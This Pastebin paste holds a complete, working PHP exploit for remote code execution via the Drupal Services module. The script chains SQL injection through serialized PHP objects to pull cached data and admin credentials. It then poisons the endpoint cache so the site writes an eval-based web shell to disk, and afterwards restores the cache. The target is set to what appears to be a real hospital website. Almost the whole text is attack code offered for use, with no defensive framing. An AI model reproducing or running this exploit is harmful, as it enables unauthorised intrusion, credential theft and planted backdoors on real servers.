Advertisement
Guest User

Untitled

a guest
Apr 20th, 2018
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.20 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?php
  3. # Drupal Services Module Remote Code Execution Exploit
  4. # https://www.ambionics.io/blog/drupal-services-module-rce
  5. # cf
  6. #
  7. # Three stages:
  8. # 1. Use the SQL Injection to get the contents of the cache for current endpoint
  9. # along with admin credentials and hash
  10. # 2. Alter the cache to allow us to write a file and do so
  11. # 3. Restore the cache
  12. #
  13.  
  14. # Initialization
  15.  
  16. error_reporting(E_ALL);
  17.  
  18. define('QID', 'anything');
  19. define('TYPE_PHP', 'application/vnd.php.serialized');
  20. define('TYPE_JSON', 'application/json');
  21. define('CONTROLLER', 'user');
  22. define('ACTION', 'login');
  23.  
  24. $url = 'http://www.chu-grenoble.fr';
  25. $endpoint_path = '/user/login';
  26. $endpoint = '';
  27.  
  28.  
  29. $file = [
  30. 'filename' => 'dixuSOspsOUU.php',
  31. 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
  32. ];
  33.  
  34. $browser = new Browser($url . $endpoint_path);
  35.  
  36.  
  37. # Stage 1: SQL Injection
  38.  
  39. class DatabaseCondition
  40. {
  41. protected $conditions = [
  42. "#conjunction" => "AND"
  43. ];
  44. protected $arguments = [];
  45. protected $changed = false;
  46. protected $queryPlaceholderIdentifier = null;
  47. public $stringVersion = null;
  48.  
  49. public function __construct($stringVersion=null)
  50. {
  51. $this->stringVersion = $stringVersion;
  52.  
  53. if(!isset($stringVersion))
  54. {
  55. $this->changed = true;
  56. $this->stringVersion = null;
  57. }
  58. }
  59. }
  60.  
  61. class SelectQueryExtender {
  62. # Contains a DatabaseCondition object instead of a SelectQueryInterface
  63. # so that $query->compile() exists and (string) $query is controlled by us.
  64. protected $query = null;
  65.  
  66. protected $uniqueIdentifier = QID;
  67. protected $connection;
  68. protected $placeholder = 0;
  69.  
  70. public function __construct($sql)
  71. {
  72. $this->query = new DatabaseCondition($sql);
  73. }
  74. }
  75.  
  76. $cache_id = "services:$endpoint:resources";
  77. $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
  78. $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
  79.  
  80. # Take first user but with a custom password
  81. # Store the original password hash in signature_format, and endpoint cache
  82. # in signature
  83. $query =
  84. "0x3a) UNION SELECT ux.uid AS uid, " .
  85. "ux.name AS name, '$password_hash' AS pass, " .
  86. "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
  87. "ux.pass AS signature_format, ux.created AS created, " .
  88. "ux.access AS access, ux.login AS login, ux.status AS status, " .
  89. "ux.timezone AS timezone, ux.language AS language, ux.picture " .
  90. "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
  91. "WHERE ux.uid<>(0"
  92. ;
  93.  
  94. $query = new SelectQueryExtender($query);
  95. $data = ['username' => $query, 'password' => 'ouvreboite'];
  96. $data = serialize($data);
  97.  
  98. $json = $browser->post(TYPE_PHP, $data);
  99.  
  100. # If this worked, the rest will as well
  101. if(!isset($json->user))
  102. {
  103. print_r($json);
  104. e("Failed to login with fake password");
  105. }
  106.  
  107. # Store session and user data
  108.  
  109. $session = [
  110. 'session_name' => $json->session_name,
  111. 'session_id' => $json->sessid,
  112. 'token' => $json->token
  113. ];
  114. store('session', $session);
  115.  
  116. $user = $json->user;
  117.  
  118. # Unserialize the cached value
  119. # Note: Drupal websites admins, this is your opportunity to fight back :)
  120. $cache = unserialize($user->signature);
  121.  
  122. # Reassign fields
  123. $user->pass = $user->signature_format;
  124. unset($user->signature);
  125. unset($user->signature_format);
  126.  
  127. store('user', $user);
  128.  
  129. if($cache === false)
  130. {
  131. e("Unable to obtains endpoint's cache value");
  132. }
  133.  
  134. x("Cache contains " . sizeof($cache) . " entries");
  135.  
  136. # Stage 2: Change endpoint's behaviour to write a shell
  137.  
  138. class DrupalCacheArray
  139. {
  140. # Cache ID
  141. protected $cid = "services:endpoint_name:resources";
  142. # Name of the table to fetch data from.
  143. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
  144. protected $bin = 'cache';
  145. protected $keysToPersist = [];
  146. protected $storage = [];
  147.  
  148. function __construct($storage, $endpoint, $controller, $action) {
  149. $settings = [
  150. 'services' => ['resource_api_version' => '1.0']
  151. ];
  152. $this->cid = "services:$endpoint:resources";
  153.  
  154. # If no endpoint is given, just reset the original values
  155. if(isset($controller))
  156. {
  157. $storage[$controller]['actions'][$action] = [
  158. 'help' => 'Writes data to a file',
  159. # Callback function
  160. 'callback' => 'file_put_contents',
  161. # This one does not accept "true" as Drupal does,
  162. # so we just go for a tautology
  163. 'access callback' => 'is_string',
  164. 'access arguments' => ['a string'],
  165. # Arguments given through POST
  166. 'args' => [
  167. 0 => [
  168. 'name' => 'filename',
  169. 'type' => 'string',
  170. 'description' => 'Path to the file',
  171. 'source' => ['data' => 'filename'],
  172. 'optional' => false,
  173. ],
  174. 1 => [
  175. 'name' => 'data',
  176. 'type' => 'string',
  177. 'description' => 'The data to write',
  178. 'source' => ['data' => 'data'],
  179. 'optional' => false,
  180. ],
  181. ],
  182. 'file' => [
  183. 'type' => 'inc',
  184. 'module' => 'services',
  185. 'name' => 'resources/user_resource',
  186. ],
  187. 'endpoint' => $settings
  188. ];
  189. $storage[$controller]['endpoint']['actions'] += [
  190. $action => [
  191. 'enabled' => 1,
  192. 'settings' => $settings
  193. ]
  194. ];
  195. }
  196.  
  197. $this->storage = $storage;
  198. $this->keysToPersist = array_fill_keys(array_keys($storage), true);
  199. }
  200. }
  201.  
  202. class ThemeRegistry Extends DrupalCacheArray {
  203. protected $persistable;
  204. protected $completeRegistry;
  205. }
  206.  
  207. cache_poison($endpoint, $cache);
  208.  
  209. # Write the file
  210. $json = (array) $browser->post(TYPE_JSON, json_encode($file));
  211.  
  212.  
  213. # Stage 3: Restore endpoint's behaviour
  214.  
  215. cache_reset($endpoint, $cache);
  216.  
  217. if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
  218. {
  219. e("Failed to write file.");
  220. }
  221.  
  222. $file_url = $url . '/' . $file['filename'];
  223. x("File written: $file_url");
  224.  
  225.  
  226. # HTTP Browser
  227.  
  228. class Browser
  229. {
  230. private $url;
  231. private $controller = CONTROLLER;
  232. private $action = ACTION;
  233.  
  234. function __construct($url)
  235. {
  236. $this->url = $url;
  237. }
  238.  
  239. function post($type, $data)
  240. {
  241. $headers = [
  242. "Accept: " . TYPE_JSON,
  243. "Content-Type: $type",
  244. "Content-Length: " . strlen($data)
  245. ];
  246. $url = $this->url . '/' . $this->controller . '/' . $this->action;
  247.  
  248. $s = curl_init();
  249. curl_setopt($s, CURLOPT_URL, $url);
  250. curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
  251. curl_setopt($s, CURLOPT_POST, 1);
  252. curl_setopt($s, CURLOPT_POSTFIELDS, $data);
  253. curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
  254. curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
  255. curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
  256. $output = curl_exec($s);
  257. $error = curl_error($s);
  258. curl_close($s);
  259.  
  260. if($error)
  261. {
  262. e("cURL: $error");
  263. }
  264.  
  265. return json_decode($output);
  266. }
  267. }
  268.  
  269. # Cache
  270.  
  271. function cache_poison($endpoint, $cache)
  272. {
  273. $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
  274. cache_edit($tr);
  275. }
  276.  
  277. function cache_reset($endpoint, $cache)
  278. {
  279. $tr = new ThemeRegistry($cache, $endpoint, null, null);
  280. cache_edit($tr);
  281. }
  282.  
  283. function cache_edit($tr)
  284. {
  285. global $browser;
  286. $data = serialize([$tr]);
  287. $json = $browser->post(TYPE_PHP, $data);
  288. }
  289.  
  290. # Utils
  291.  
  292. function x($message)
  293. {
  294. print("$message\n");
  295. }
  296.  
  297. function e($message)
  298. {
  299. x($message);
  300. exit(1);
  301. }
  302.  
  303. function store($name, $data)
  304. {
  305. $filename = "$name.json";
  306. file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
  307. x("Stored $name information in $filename");
  308. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement